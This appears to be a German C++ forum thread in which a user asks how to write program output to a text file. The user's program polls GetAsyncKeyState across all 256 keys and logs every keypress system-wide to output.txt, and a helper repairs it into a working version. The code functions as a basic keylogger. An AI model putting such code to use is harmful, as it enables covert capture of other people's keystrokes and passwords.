ich möchte dass die ausgabe auf dem bildschirm in eine textdatei geschrieben wird. wie kann ich das bewerkstelligen?

wie definiert man nochmal ofstream?

Nimm bei der Gelegenheit auch gleich den neuen iostream-Header.

habs jetzt so aber der speichrt mir das net in einer txt

std::ofstream file("output.txt");

oder mit der open-Methode:

std::ofstream file;
file.open("output.txt");

#include <windows.h>
#include <iostream>
#include <fstream>

using namespace std;

int main()
{ std::ofstream file;
  SHORT KeyState;
  SHORT ArrKeyState[256];
  long CheckSum;
  long OldCheckSum;

  OldCheckSum = 987654;          // dummy

  file << ("output.txt"); //Öffne output.txt zum schreiben
  while (1)
  {
    CheckSum = 0;
    for (int i = 0; i < 256; i++)
    {
      KeyState = GetAsyncKeyState(i);
      CheckSum += KeyState;
      ArrKeyState[i] = KeyState;
    }

    if (OldCheckSum != CheckSum)
    {
      for (int i = 0; i < 256; i++)
      {
        // -32767 = KeyDown
        if (ArrKeyState[i] == -32767)

        {
          ::std::cout << "Key " << i << " pressed. (" << (char) i << ")" << "\n";
          file << "Key " << i << " pressed. (" << (char) i << ")" << "\n"; //schreibe in datei...
        }
      }
    }
    OldCheckSum = CheckSum;
  }
file.close(); //schließe datei
}

übrigens ich weiß das mit std war nur gerade zu faul

(Außerdem wird die while Schleife nicht von einem break oder so verlassen...)

#include <windows.h>
#include <iostream>
#include <fstream>

int main()
{
  SHORT KeyState, ArrKeyState[256];
  long CheckSum, OldCheckSum = 987654;          // dummy
  std::ofstream file("output.txt"); //Öffne output.txt zum schreiben
  while(1)
  {
    CheckSum = 0;
    for (int i = 0; i < 256; i++)
    {
      KeyState = GetAsyncKeyState(i);
      CheckSum += KeyState;
      ArrKeyState[i] = KeyState;
    }

    if (OldCheckSum != CheckSum)
    {
      for (int i = 0; i < 256; i++)
      {
        // -32767 = KeyDown
        if (ArrKeyState[i] == -32767)
        {
          std::cout << "Key " << i << " pressed. (" << static_cast<char>(i) << ")" << "\n";
          file << "Key " << i << " pressed. (" << static_cast<char>(i) << ")" << std::endl; //schreibe in datei...
          // std::endl da dies auch noch std::flush aufruft
        }
      }
    }
    OldCheckSum = CheckSum;
  }
}
